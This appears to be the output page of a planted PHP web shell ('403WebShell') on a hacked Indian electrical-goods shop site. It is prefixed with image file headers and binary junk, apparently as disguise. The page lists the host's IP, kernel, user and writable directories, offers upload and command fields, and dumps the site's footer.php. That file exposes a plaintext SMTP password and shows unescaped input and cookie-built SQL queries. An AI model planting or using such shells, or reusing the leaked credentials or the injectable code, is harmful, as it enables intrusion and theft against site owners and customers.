RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð .......................................===Shadow-Here===........................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------ //////////////////////////////////////////////////////////////////////////////////////////////// GIF89a=( õ' 7IAXKgNgYvYx\%wh…hŽth%ˆs%—x¨}9®Œ©€&©‰%¶†(¹–.¹5·œD¹&Çš)ÇŸ5ǘ;Í£*È¡&Õ²)ׯ7×µ<Ñ»4ï°3ø‘HÖ§KͯT÷¨Yÿšqÿ»qÿÔFØ !ù ' !ÿ NETSCAPE2.0 , =( þÀ“pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§gª«ªE¯°¨¬ª±²Œ¹º¹E¾­”´ÂB¶¯ §Åȸ»ÑD¾¿Á•ÄÅ®° ÝH¾ÒLÀÆDÙ«D¶BÝïðÀ¾DÑÑÔTÌÍíH òGö¨A RÎڐ |¥ ٭&ºìE8œ¹kGÔAÞpx­a¶­ã R2XB®åE8I€Õ6Xî:vT)äžþÀq¦è³¥ì仕F~%xñ  4#ZÔ‰O|-4Bs‘X:= QÉ œš lºÒyXJŠGȦ|s hÏíK–3l7·B|¥$'7Jީܪ‰‡àá”Dæn=Pƒ ¤Òëí‰`䌨ljóá¯Éüv>á–Á¼5 ½.69ûϸd«­ºÀûnlv©‹ªîf{¬ÜãPbŸ  l5‘Ž¯pß ´ ˜3aÅùäI«O’ý·‘áÞ‡˜¾Æ‚ÙÏiÇÿ‹Àƒ #öó)pâš Þ½ ‘Ý{ó)vmÞü%D~ 6f s}ŃƒDØW Eþ`‡þ À…L8xá†ç˜{)x`X/> Ì}mø‚–RØ‘*|`D=‚Ø_ ^ð5 !_…'aä“OÚ—7âcð`D”Cx`ÝÂ¥ä‹éY¹—F¼¤¥Š?¡Õ™ n@`} lď’ÄÉ@4>ñd œ à‘vÒxNÃ×™@žd=ˆgsžG±æ ´²æud &p8Qñ)ˆ«lXD©øÜéAžHìySun jª×k*D¤LH] †¦§C™Jä–´Xb~ʪwStŽ6K,°£qÁœ:9ت:¨þªl¨@¡`‚ûÚ ».Û¬¯t‹ÆSÉ[:°=Š‹„‘Nåû”Ìî{¿ÂA ‡Rà›ÀÙ6úë°Ÿð0Ä_ ½;ÃϱîÉì^ÇÛÇ#Ëë¼ôº!±Ä˜íUîÅÇ;0L1óÁµö«p% AÀºU̬ݵ¼á%霼€‡¯Á~`ÏG¯»À× ­²± =4ªnpð3¾¤³¯­ü¾¦îuÙuµÙ®|%2ÊIÿür¦#0·ÔJ``8È@S@5ê¢ ö×Þ^`8EÜ]ý.뜃Âç 7 ú ȉÞj œ½Dç zý¸iþœÑÙûÄë!ˆÞÀl§Ïw‹*DçI€nEX¯¬¼ &A¬Go¼QföõFç°¯;é¦÷îŽêJ°îúôF5¡ÌQ|îúöXªæ»TÁÏyñêï]ê² o óÎC=öõ›ÒÓPB@ D×½œä(>èCÂxŽ`±«Ÿ–JЀ»Û á¤±p+eE0`ëŽ`A Ú/NE€Ø†À9‚@¤à H½7”à‡%B‰`Àl*ƒó‘–‡8 2ñ%¸ —€:Ù1Á‰E¸àux%nP1ð!‘ðC)¾P81lÑɸF#ˆ€{´âé°ÈB„0>±û °b¡Š´±O‚3È–Ù()yRpbµ¨E.Z‘D8ÊH@% òŒx+%Ù˜Æcü »¸˜fõ¬b·d`Fê™8èXH"ÉÈ-±|1Ô6iI, 2““¬$+](A*jÐ QTÂo‰.ÛU슬Œã„Ž`¯SN¡–¶Äåyše¯ª’­¬‚´b¦Éož œ)åyâ@Ì®3 ÎtT̉°&Ø+žLÀf"Ø-|žçÔ>‡Ðv¦Ðžì\‚ Q1)Ž@Žh#aP72”ˆ™¨$‚ !ù " , =( …7IAXG]KgNgYvYxR"k\%w]'}hŽth%ˆg+ˆs%—r.—m3šx3˜x¨}9®€&©€+¨‡7§‰%¶†(¹–.¹œD¹&ǘ;Í•&ײ)×»4ïÌ6ò§KÍ þ@‘pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g «¬ E ±± ¨­¶°ººE Á´”·®C¬²§Ç¶Œ»ÓDÃÕƷ¯Ê±H½ºM×ÁGÚ¬D¶BËÁ½î½DÓôTÏÛßîG»ôõC×CÌ l&âž:'òtU³6ɹ#·Ø)€'Ü.6±&ëÍÈ» K(8p0N?!æ2"ÛˆNIJX>R¼ÐO‚M '¡¨2¸*Ÿþ>#n↠å@‚<[:¡Iïf’ ¤TÚ˘CdbÜÙ“[«ŽEú5MBo¤×@€`@„€Êt W-3 ¶Ÿ¡BíêäjIÝ…Eò9[T…$íêﯧ„…•s»Óȳ¹€ÅÚdc®UUρ#±Ùïldj?´í¼²`\ŽÁðÞu|3'ÖŒ]ë6 ¶S#²‡˜FKLÈ *N E´‘áäŠ$˜›eÄYD„ºq«.è촁ƒs \-ÔjA 9²õ÷å- üúM[Âx(ís÷ì®x€|í¡Ù’p¦‚ ŽkÛTÇDpE@WÜ ²Ç]kŠ1¨ þ€·Yb ÓÁ‰l°*n0 ç™—žzBdОu¾7ĉBl€â‰-ºx~|UåU‰  h*Hœ|e"#"?vpÄiŠe6^ˆ„+qâŠm8 #VÇá ‘å–ÄV„œ|Šè•m"сœn|@›U¶ÆΞ—Špb¥G¨ED”€±Úê2FÌIç? >Éxå Œ± ¡¤„%‘žjŸ‘ꄯ<Ìaà9ijÐ2˜D¦È&›†Z`‚å]wþ¼Â:ç6àB¤7eFJ|õÒ§Õ,¨äàFÇ®cS·Ê¶+B°,‘Þ˜ºNûãØ>PADÌHD¹æž«ÄÀnÌ¥}­#Ë’ë QÀÉSÌÂÇ2ÌXÀ{æk²lQÁ2«ÊðÀ¯w|2Í h‹ÄÂG€,m¾¶ë3ÐÙ6-´ÅE¬L°ÆIij*K½ÀÇqï`DwVÍQXœÚÔpeœ±¬Ñ q˜§Tœ½µƒ°Œìu Â<¶aØ*At¯lmEØ ü ôÛN[P1ÔÛ¦­±$ÜÆ@`ùåDpy¶yXvCAyåB`ŽD¶ 0QwG#¯ æš[^Äþ $ÀÓÝǦ{„L™[±úKÄgÌ;ï£S~¹ìGX.ôgoT.»åˆ°ùŸûù¡?1zö¦Ÿž:ÅgÁ|ìL¹ „®£œŠ‚à0œ]PÁ^p F<"•ç?!,ñ‡N4—…PÄ Á„ö¨Û:Tè@hÀ‹%táÿ:ø-žI<`þ‹p I….)^ 40D#p@ƒj4–؀:²‰1Øâr˜¼F2oW¼#Z†;$Q q” ‘ ÂK¦ñNl#29 !’F@¥Bh·ᏀL!—XFóLH‘Kh¤.«hE&JòG¨¥<™WN!€ÑÙÚˆY„@†>Œž19J" 2,/ &.GXB%ÌRÈ9B6¹W]’î×ÔW¥’IÎ$ ñ‹ÓŒE8YÆ ¼³™ñA5“à®Q.aŸB€&Ø©³ JÁ—! ¦t)K%tœ-¦JF bòNMxLôþ)ÐR¸Ð™‘ èÝ6‘O!THÌ„HÛ ‰ !ù ) , =( …AXKgNgYvYxR"k\%wh…hŽh%ˆg+ˆs%—r.—x3˜x¨}9®€&©€+¨Œ,©‡7§‰%¶†(¹–.¹5·&Çš)ǘ;Í•&×£*Ȳ)ׯ7×»4ï°3øÌ6ò‘HÖ§KÍ»Hó¯T÷¨Yÿ»qÿÇhÿ þÀ”pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g ª« E$±²¨ª­ · °²½$E$ÂÕ««D· Í ¿¦Ç¶¸ÌŒ¾³CÃÅÆ E ééH½MÛÂGâªD­ çBêêϾD²ÒaÀà€Š1r­ðÓ¤ ÔožzU!L˜C'¾yW½UGtäÇïÙllê0×àÂuGþ)AÀs[þ·xì ÁxO%ƒûX2ó—  P£n›R/¡ÑšHše+êDm?# —‘Ç£6¡8íJ¡ŸâDiäªM¥Ö„ôj“¬¹£5oQ7°- <‡ *´lãÓŒ2r/a!l)dÈ A™ÈE¢ôÔ͆…ð ;Ö˜c ¡%ß‚’Ùˆâ¸b½—pe~C"BíëÚHïeF2§æŠ8qb t_`urŠeü wÅu3êæPv§h•"ß`íÍxçLĹÜÖ3á  ~Öº“®›¸ÏMDfJÙ °„ÛµáWõ%§œ‚à©–‚X Ó؁)@®Ñ›Eþ´wëuÅSxb8y\mÖzœ¥§ZbºE—ÂLªÌw!y(>¡™wú=Ç|ÅÝs¢d €CÁW)HÜcC$€L Ä7„r.á\{)@ð` @ äXÈ$PD” `šaG:§æˆOˆ72EÐamn]ù"ŒcÊxÑŒ° &dR8`g«iÙŸLR!¦P …d’ä¡“¦ðÎTƒ¦ià|À _ ¥ Qi#¦Šg›Æ ›noMµ ›V ã£)p ç£ÎW…š=Âeªk§†j„ ´®1ß²sÉxéW«jšl|0¯B0Û, \jÛ´›6±¬¶C ÛíWþï|ëÙ‹¸ñzĸV {ì;Ýñn¼òVˆm³I¼³.Ðã¤PN¥ ²µ¼„µCã+¹ÍByî£Ñ¾HŸ›ëê 7ìYÆFTk¨SaoaY$Dµœìï¿Ã29RÈkt Çïfñ ÇÒ:ÀÐSp¹3ÇI¨â¥DZÄ ü9Ïýögñ½­uÔ*3)O‘˜Ö[_hv ,àî×Et Ÿé¶BH€ Õ[ü±64M@ÔSÌM7dÐl5-ÄÙU܍´©zߌ3Ô€3ž„ „ ¶ÛPô½5×g› êÚ˜kN„Ý…0Îj4€Ìë°“#{þÕ3S2çKÜ'ợlø¼Ú2K{° {Û¶?žm𸧠ËI¼nEò='êüóºè^üæÃ_Û=°óž‚ì#Oý¿Í'¡½áo..ÏYìnüñCœO±Áa¿¢Kô½o,üÄËbö²çºíï{ËC Ú— "”Ï{ËK ÍÒw„õ±Oz dÕ¨à:$ ƒô—«v»] A#ð «€¿šéz)Rx׿ˆ¥‚d``èw-îyÏf×K!ð€þ­Ð|ìPľ„=Ì`ý(f” 'Pa ¥ÐBJa%Ðâf§„%Š¡}FàáÝ×6>ÉäŠG"éŽè=ø!oŠ°^FP¼Ø©Q„ÀCÙÁ`(Ž\ÄÝ® ©Â$<n@dÄ E#ììUÒI! ‚#lù‹`k¦ÐÇ'Rró’ZýNBÈMF Í[¤+‹ðɈ-áwj¨¥þ8¾rá ,VÂh„"|½œ=×G_¦Ñ™EØ 0i*%̲˜Æda0mV‚k¾)›;„&6 p>ÓjK “¦Ç# âDÂ:ûc?:R Ó¬fÞéI-Ì“•Ã<ä=™Ï7˜3œ¨˜c2ŒW ,ˆ”8(T™P‰F¡Jhç"‚ ; 403WebShell
403Webshell
Server IP : 148.135.140.132  /  Your IP : 3.137.153.149
Web Server : LiteSpeed
System : Linux in-mum-web1116.main-hosting.eu 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64
User : u496275626 ( 496275626)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u496275626/domains/mdnenterprises.in/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u496275626/domains/mdnenterprises.in/public_html/footer.php
<style type="text/css">
.footer-logo
{
   display:flex;
  justify-content: center;
  align-items: center;
}
.polink
{
 margin:0 auto;
 margin-bottom:1rem;
}
.polink li
{
    text-align:center;
    margin:0.5rem 0.25rem;
}
  @media (min-width: 10px) and (max-width: 726px) {
  .__MyText {
    padding-left: 5rem!important;

  }

  }

  /*close*/
  .visited___Modal  {
    max-width: 800px!important;
    margin: auto!important;    
    padding-top: 4rem!important;

  }

  .___title___Most  {
    color: #fff!important;
  }

  .__MyText h6 {
    font-weight: 700;
    margin-bottom: 1rem;
    font-size: 12px;
    text-align: left;
  }
  .___ComPrev {
    margin-left: 0!important;
    background: #232f3e!important;
    width: 33px!important;
    padding: 6px!important;
    height: fit-content;
    top: 45%;
  }
  
  .___right_Com {
    margin-left: 0!important;
    background: #232f3e!important;
    width: 33px!important;
    padding: 6px!important;
    height: fit-content;
    top: 45%;
  }

  .__MyText p {
margin-top: 1rem;
  }

  .__MyText  {
    text-align: left;
        padding: 1.65rem;
  }

  .__MyText small {
        font-size: 1rem!important;

  }

  .carousel-control-next, .carousel-control-prev  {
    opacity: 1!important;
  }

  .close {
    color: #fff!important;
    opacity: 1!important;
  }

  ._price_xyz{
    font-weight: 700!important;
    font-size: 2rem!important;
  }
</style>




<?php
   $message = '';
   if(isset($_POST["subscribe"]))
   {
     $message = '
       <h3 align="center"> New Subscriber</h3>
       <table border="1" width="100%" cellpadding="5" cellspacing="5" style="border-collapse: collapse">
          <tr>
      <td colspan="2" style="text-align:center;font-size: 18px;font-weight: 600;">Subscriber From Website</td>
    </tr>
    
         <tr>
           <td width="30%">Email</td>
           <td width="70%">'.$_POST["email"].'</td>
         </tr>
   
         <tr>
   
    </tr>
   </table>';
   
     require 'php_mail/class.phpmailer.php';
     $mail = new PHPMailer;
     $mail->Host = "smtp.hostinger.com";   
     $mail->Port = '587';         
     $mail->SMTPAuth = true;          
     $mail->Username = 'sales@redsun.com';    
     $mail->Password = 'Stereo@1879';      
     $mail->SMTPSecure = 'tls';       
     $mail->From = "sales@redsun.com";   
     $mail->FromName = "a4paper";
     $mail->Mailer = "smtp"; 
     $mail->AddAddress('order@redsun.com'); 
     $mail->WordWrap = 50;             
     $mail->IsHTML(true);              
     $mail->Subject = "Newsletter From Website";      
     $mail->Body = $message;  
     if($mail->Send())             
   
     {
   
       $message = '<script>alert("Successfully Subscribed");</script>';
   
       //unlink($photo);
   
     }
   
     else
     {
       $message = '<script>alert("Error.......");</script>';
     }
   }
   
   ?>
<?php @print_r($message); ?>
<footer class="footer-area">
   <div class="footer-top" style="background:#000000;">
    <div class="newlet">
      <div class="container">
        <div class="row">
          <div class="col-md-5" style="margin: auto;">
            <div class="single-wedge">
              <h4 class="footer-herading">Signup To Receive Offers & Updates</h4>
              
              <div id="mc_embed_signup" class="subscribe-form">
                 <form method="post" action="">
                    <div  class="mc-form">
                       <input class="email" type="email" required="" placeholder="Enter your email here.." name="email" value="" />
                       <div class="sucbtn">
                          <i class="fa fa-telegram"></i>
                       </div>
                    </div>
                 </form>
              </div>
           </div>
          </div>
        </div>
      </div>
    </div>
    <div class="secfoot">
      <div class="container">
         <div class="row">
            <!-- footer single wedget -->
            <div class="col-md-3 col-lg-3 footer-logo">
                <img src="https://mdnenterprises.in/assets/images/logo/logo.png" width="150"  />
            </div>
            <div class="col-md-3 col-lg-3">
               <!-- footer logo --> 
               <!-- footer logo -->
               <div class="about-footer">
                  <h4 class="footer-herading">FOLLOW US</h4>
                  <div class="social-info">
                    <a href="https://www.facebook.com/people/Mdn-Enterprises/100076297230275/" target="_blank" class="btn btn-sm btn-facebook text-white"><i class="fa fa-facebook"></i></a>

                    <a href="https://twitter.com/mdnenterprises0" target="_blank" class="btn btn-sm btn-twitter text-white"><i class="fa fa-twitter"></i></a>

                    <a href="https://www.instagram.com/mdnenterprises/" target="_blank" class="btn btn-sm btn-twitter text-white"><i class="fa fa-instagram"></i></a>

                    <a href="https://www.youtube.com/@mdnenterprises" target="_blank" class="btn btn-sm btn-linkedin text-white"><i class="fa fa-youtube"></i></a>
                    
                  </div>
               </div>
            </div>
            <!-- footer single wedget -->
            <div class="col-md-3 col-lg-3">
               <div class="single-wedge foright">
                  <h4 class="footer-herading">CONTACT US</h4>
                  <div class="footer-links">
                     <p>
                       If you’d like to get in touch, Please send us a mail during regular business hours.
                     </p>
                     <br>
                     <p>
                      contact@redsun.com
                     </p>
                  </div>
               </div>
            </div>
            <div class="col-md-3 col-lg-3">
               <div class="single-wedge foright">
                  <h4 class="footer-herading">CATEGORIES</h4>
                  <div class="footer-links">
                     <p class="text-center">
                        <a href="https://mdnenterprises.in/shop-brand/389/1/mcb" class="text-white">MCBS</a><br>
                        <a href="https://mdnenterprises.in/shop-brand/390/1/accessories" class="text-white">Accessories</a><br>
                        <a href="https://mdnenterprises.in/shop-brand/391/1/electrical-switches" class="text-white">Electrical switches</a><br>
                        <a href="https://mdnenterprises.in/shop-brand/392/1/electrical-accessories" class="text-white">Electrical accessories</a>
                     </p>
                  </div>
               </div>
            </div>
            <!-- footer single wedget -->
         </div>
      </div>
    </div>
   </div>
   <!--  Footer Bottom Area start -->
   <div class="footer-bottom" style="background:#000000;">
      <div class="container">
        <div class="row text-center">
            <ul class="polink">
                <li><a href="<?=BASE_URL?>">Contact Us </a></li>
                <li><a href="<?=BASE_URL?>">Privacy Policy </a></li>
                <li><a href="<?=BASE_URL?>">Terms & Conditions </a></li>
                <li><a href="<?=BASE_URL?>">Return & Refund Policy </a></li>
                <li><a href="<?=BASE_URL?>">Shipping Policy </a></li> 
                <li><a href="<?=BASE_URL?>">Disclaimer </a></li> 
            </ul>
        </div>
         <div class="row">
            <div class="col-md-12 col-lg-12">
               <p class="copy-text" style="color: #ffffff;">Copyright © <a href="#"> redsun.com </a>  All Rights Reserved</p>
            </div>
            <div class="col-md-12 col-lg-12">
            <img class="payment-img" src="<?=BASE_URL?>assets/images/icons/payment.png" alt="" />
            </div>
         </div>
      </div>
   </div>
   <!--  Footer Bottom Area End-->
</footer>


<div class="fixfoot">
    <a class="fnav-item" href="<?=BASE_URL?>index.php">
      <i class="fa fa-home"></i><span>Home</span>
    </a>
    
    <a class="fnav-item" href="<?=BASE_URL?>cart.php">
      <i class="fa fa-shopping-cart"></i><span>Cart</span>
    </a>

    
    <a class="fnav-item" href="<?=BASE_URL?>my_account.php">
      <i class="fa fa-user"></i><span>Profile</span>
    </a>
  </div>
<!--  Footer Area End -->
<script>
  feather.replace();
  document.querySelector(".fnav-item").focus();
</script>
<!-- ==================== Offer Popup Modal =================== -->
<?php 
  /*-------- Admin Control -------------*/
    $where_con = "`popup_name`= 'Offer Coupon Popup'";
    $c_query=$sel_obj->display_rcd('popup_control',$where_con);
    if(is_array($c_query) || !empty($c_query))
    {
      foreach($c_query as $c_data)
      {
      }
    }
  /*--------------------------------------*/
  $offer_coupon_status = json_decode($_COOKIE['offer_coupon_status'], true);
  if ($_COOKIE['visit_count']!=0 && isset($checksession) && ($_COOKIE['visit_count']%$c_data['frequent_visit'])==0 && $c_data['status']==1) {
    if ($offer_coupon_status['expire_at'] < time()) {
      $offer_day = $offer_coupon_status['day']+1;
      $offer_expire_at = $offer_coupon_status['expire_at']+86400;
      $offer_coupon_status_value = 0;
    }else{
      $offer_day = $offer_coupon_status['day'];
      $offer_coupon_status_value = $offer_coupon_status['value']+1;
      $offer_expire_at = $offer_coupon_status['expire_at'];
    }
    $cookie_value = array(
      'day'=>$offer_day,
      'value'=>$offer_coupon_status_value,
      'created_at'=> $offer_coupon_status['created_at'],
      'expire_at'=> $offer_expire_at
    );
   setcookie('offer_coupon_status', json_encode($cookie_value), $offer_coupon_status['created_at']+86400*30);
  /*------ Most Interested Product ------*/
  $where_con = "`user_id`=" . "'$checksession'";
  $u_p_q = $sel_obj->display_rcd_desc_by_key("user_product_log", $where_con, 'visited_qty');
  $product_id = $u_p_q[0]['product_id'];
  // die();
    /*---------- Product Info -------------*/
    $where_product = "`status`=1 AND  p_id=" . $product_id;
    $product_query = $sel_obj->display_rcd("product", $where_product);
    foreach($product_query as $product_data)
    {
    }
    /*---------- Category Info -------------*/
    $where_categ = "p_id=" . $product_id;
    $product_categ = $sel_obj->display_rcd("multiple_category", $where_categ);
    foreach($product_categ as $categ_data)
    {
    }
  /*==== POPUP VARIABLE ON/OFF ====*/
  $show_popup = 1;
  /*===============================*/
?>
<?php 
  $where_condition0 = array('status' =>1);
  $coupon_query0 = $sel_obj->select_where("coupon", $where_condition0);

  if($offer_coupon_status['value']<$c_data['in_a_day'] && !empty($coupon_query0)){
?> 
<!-- -------------- Get Coupon Info ---------------- -->
  <?php
    $pd = 1;
    foreach ($coupon_query0 as $coupon_d) {
      if ($offer_coupon_status['day']==$pd) {
        $discount = $coupon_d['discount'];
      }
      $pd++;
    }

    $where_condition = array('discount' =>$discount);
    $coupon_query = $sel_obj->select_where("coupon", $where_condition);
     foreach($coupon_query as $coupon_data)
     {
     }
     if(!empty($coupon_data)){
  ?> 
  <!-- ----------------------------------------------- -->

  
<div class="modal fade" id="exampleModal_1" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel" aria-hidden="true" data-backdrop="static" data-keyboard="false">
      <div class="modal-dialog modal-md" role="document">
        <div class="modal-content">
          <div class="modal-header text-center" style="background-color:#000;color: #fff;">
            <h5 class="modal-title text-center" id="exampleModalLabel">Big Offer</h5>
            <button type="button" class="close" data-dismiss="modal" aria-label="Close">
            <span aria-hidden="true">&times;</span>
            </button>
          </div>
          <div class="modal-body">
            <div class="row">
              
              <div class="col-md-12 text-center">
                
                <div class="row">
                  <div class="col-md-4">
                    <img src="admin/img/coupon_image/<?php echo $coupon_data['image']; ?>" class="img-responsive" alt="">
                  </div>
                  <div class="col-md-8">
                    <h5 class="mb-2"><?php echo $coupon_data['name']; ?> on Minimum Purchase Amount ₹<?php echo $coupon_data['amount']; ?></h5>
                    <!-- <p><?php echo $coupon_data['amount']; ?></p> -->
                    <p>Use Coupon Code : <b id="my_coupon"><?php echo $coupon_data['code']; ?></b> <button onclick="copy_coupon()" class="btn" title="Copy"><i class="fa fa-copy"></i></button></p>
                  </div>
                </div>
                
                
              </div>
            </div>
          </div>
        </div>
      </div>
    </div>
<script>
   $("#exampleModal_1").modal('show');
</script>
<script>
  function copy_coupon() {
    var copyText = document.getElementById("my_coupon").innerHTML;
    navigator.clipboard.writeText(copyText);
    // alert("Copied the text: " + copyText);
  }
</script>
<?php }  }  } ?>
<!-- ==================== TRENDING PRODUCT Popup Modal =================== -->
<?php 
  /*------ Most Trending Product ------*/
  $select_key = "p_id";
  $group_by_key = "p_id";
  $limit = 5;
  $u_p_q = $sel_obj->get_best_selling_productList($select_key, $group_by_key, $limit);
  /*-------- Admin Control -------------*/
  $where_con = "`popup_name`= 'Best Selling Popup'";
  $c_query=$sel_obj->display_rcd('popup_control',$where_con);
  if(is_array($c_query) || !empty($c_query))
  {
    foreach($c_query as $c_data)
    {
    }
  }
  /*--------------------------------------*/
?>
<?php 
  $best_selling_status = json_decode($_COOKIE['best_selling_status'], true);
  if (($_COOKIE['visit_count']==1 || ($_COOKIE['visit_count']!=0 && $_COOKIE['visit_count']%$c_data['frequent_visit']==0 && $best_selling_status['value']<$c_data['in_a_day'])) && $c_data['status']==1) {
    $cookie_value = array(
      'value'=>$best_selling_status['value']+1,
      'created_at'=> $best_selling_status['created_at'],
      'expire_at'=> $best_selling_status['expire_at']
    );
   setcookie('best_selling_status', json_encode($cookie_value), $best_selling_status['created_at']+86400);
?>
<div class="modal fade pan_india" id="exampleModal_2" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel" aria-hidden="true" data-backdrop="static" data-keyboard="false">
   <div class="modal-dialog modal-md visited___Modal" role="document">
      <div class="modal-content">
         <div class="modal-header" style="background-color: #232f3e;">
            <h5 class="modal-title text-center text-light" id="exampleModalLabel">Best Selling Product</h5>
            <button type="button" class="close" data-dismiss="modal" aria-label="Close">
            <span aria-hidden="true">&times;</span>
            </button>
         </div>
         <div class="modal-body">
          <div id="carouselExampleIndicators" class="carousel slide" data-ride="carousel">
            <!-- Wrapper for slides -->
            <div class="carousel-inner" style="width: 100%; margin: auto; align-items: center;">
              <?php 
                $pn2 =1;
                foreach ($u_p_q as $best_product) {
                 /*---------- Product Info -------------*/
                  $where_product = "`status`=1 AND  p_id=" . $best_product['p_id'];
                  $product_query = $sel_obj->display_rcd("product", $where_product);
                  foreach($product_query as $product_data)
                  {
                  }
                 /*---------- Category Info -------------*/
                  $where_categ = "p_id=" . $best_product['p_id'];
                  $product_categ = $sel_obj->display_rcd("multiple_category", $where_categ);
                  foreach($product_categ as $categ_data)
                  {
                  }
              ?>
               <div class="carousel-item <?php if($pn2==1){echo 'active'; } ?> text-center ">
                <div class="row">
                  <div class="col-md-5">
                    <a href="<?=BASE_URL?>product-details/<?php echo $product_data['p_id'];?>/<?=generateSlug($product_data['p_name']);?>">
                      <img src="<?=BASE_URL?>admin/upload/<?php echo $product_data['p_img'];?>" class="img-responsive" alt="" style="height: 110px; margin: auto!important;">
                    </a>
                  </div>
                  <div class="col-md-6 __MyText">
                    <h6><?php echo $product_data["p_name"]; ?></h6>
                    <small>Product Code : <?php echo $product_data["p_code"]; ?></small>
                    <p>MRP : <span class="font-weight-bold text-muted"><strike><?php echo "₹". round($product_data['price'],2);?></strike></span>
                      <span class="_price_xyz">&nbsp;<?php echo "₹". round($product_data['d_price'],2);?></span>
                    </p>
                  </div>
                </div>
                  <a href="<?=BASE_URL?>product-details/<?php echo $product_data['p_id'];?>/<?=generateSlug($product_data['p_name']);?>" class="btn btn-sm btn-success mt-2">Buy Now</a>
               </div>
             <?php $pn2++; } ?>
               
            </div>
            <!-- Controls -->
            <a class="carousel-control-prev ___ComPrev" href="#carouselExampleIndicators" role="button" data-slide="prev" style="margin-left: -40px;">
              <span class="carousel-control-prev-icon text-danger" aria-hidden="true"></span>
              <span class="sr-only">Previous</span>
            </a>
            <a class="carousel-control-next ___right_Com" href="#carouselExampleIndicators" role="button" data-slide="next" style="margin-right: 2px;">
              <span class="carousel-control-next-icon text-danger" aria-hidden="true"></span>
              <span class="sr-only">Next</span>
            </a>
         </div>
        </div>
      </div>
   </div>
</div>
<script>
   $("#exampleModal_2").modal('show');
</script>
<?php } ?>
<!-- ========================================================== -->
<!-- ==================== Most Visited PRODUCT Popup Modal =================== -->
<?php 
  /*------ Most Interested Product ------*/
  $u_p_q = json_decode($_COOKIE['interested_product'], true);
  $keys = array_column($u_p_q, 'visited_qty');
  array_multisort($keys, SORT_DESC, $u_p_q);
  array_unique($u_p_q);
  /*-------- Admin Control -------------*/
  $where_con = "`popup_name`= 'Most Visited Popup'";
  $c_query=$sel_obj->display_rcd('popup_control',$where_con);
  if(is_array($c_query) || !empty($c_query))
  {
    foreach($c_query as $c_data)
    {
    }
  }
  /*--------------------------------------*/
?>
<?php
  $most_visited_status = json_decode($_COOKIE['most_visited_status'], true);
 if ($_COOKIE['visit_count']>1 && ($_COOKIE['visit_count']%$c_data['frequent_visit'])==0 && $most_visited_status['value']<$c_data['in_a_day'] && !empty($u_p_q) && $c_data['status']==1) {
    $cookie_value = array(
      'value'=>$most_visited_status['value']+1,
      'created_at'=> $most_visited_status['created_at'],
      'expire_at'=> $most_visited_status['expire_at']
    );
   setcookie('most_visited_status', json_encode($cookie_value), $most_visited_status['created_at']+86400);
 ?> 
 <div class="container">
  <div class="row">
    <div class="col-md-12">
<div class="modal fade" id="exampleModal_3" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel" aria-hidden="true" data-backdrop="static" data-keyboard="false">
   <div class="modal-dialog modal-md visited___Modal" role="document">
      <div class="modal-content">
         <div class="modal-header" style="background-color:#232f3e;">
            <h5 class="modal-title text-center ___title___Most" id="exampleModalLabel">Most Visited Product</h5>
            <button type="button" class="close" data-dismiss="modal" aria-label="Close">
            <span aria-hidden="true">&times;</span>
            </button>
         </div>
         <div class="modal-body">
          <div id="carouselExampleIndicators" class="carousel slide" data-ride="carousel">
            <!-- Wrapper for slides -->
            <div class="carousel-inner" style="width: 100%; margin: auto; align-items: center;">
              <?php 
                $pn3 =1;
                foreach ($u_p_q as $best_product) {
                 /*---------- Product Info -------------*/
                  $where_product = "`status`=1 AND  p_id=" . $best_product['product_id'];
                  $product_query = $sel_obj->display_rcd("product", $where_product);
                  foreach($product_query as $product_data)
                  {
                  }
                 /*---------- Category Info -------------*/
                 if($best_product['product_id']!=''){
                  $where_categ = "p_id=" . $best_product['product_id'];
                  $product_categ = $sel_obj->display_rcd("multiple_category", $where_categ);
                  foreach($product_categ as $categ_data)
                  {
                  }
                  if($pn3 <5){
              ?>
               <div class="carousel-item <?php if($pn3==1){echo 'active'; } ?> text-center ">
                <div class="row">
                  <div class="col-md-5">
                    <a href="<?=BASE_URL?>product-details/<?php echo $product_data['p_id'];?>/<?=generateSlug($product_data['p_name']);?>">
                      <img src="<?=BASE_URL?>admin/upload/<?php echo $product_data['p_img'];?>" class="img-responsive" alt="" style="max-height: 240px; margin: auto!important;">
                    </a>
                  </div>
                  <div class="col-md-7 __MyText">
                    <h6><?php echo $product_data["p_name"]; ?></h6>
                    <small>Product Code : <?php echo $product_data["p_code"]; ?></small>
                    <p>MRP : <span class="font-weight-bold text-muted"><strike><?php echo "₹". round($product_data['price'],2);?></strike></span>
                      <span class="_price_xyz">&nbsp;<?php echo "₹". round($product_data['d_price'],2);?></span>
                    </p>
                  </div>
                </div>
                  <a href="<?=BASE_URL?>product-details/<?php echo $product_data['p_id'];?>/<?=generateSlug($product_data['p_name']);?>" class="btn btn-sm btn-success mt-2">Buy Now</a>
               </div>
             <?php $pn3++; } } } ?>
               
            <!-- Controls -->
            <a class="carousel-control-prev ___ComPrev" href="#carouselExampleIndicators" role="button" data-slide="prev" style="margin-left: -40px;">
              <span class="carousel-control-prev-icon text-danger" aria-hidden="true"></span>
              <span class="sr-only">Previous</span>
            </a>
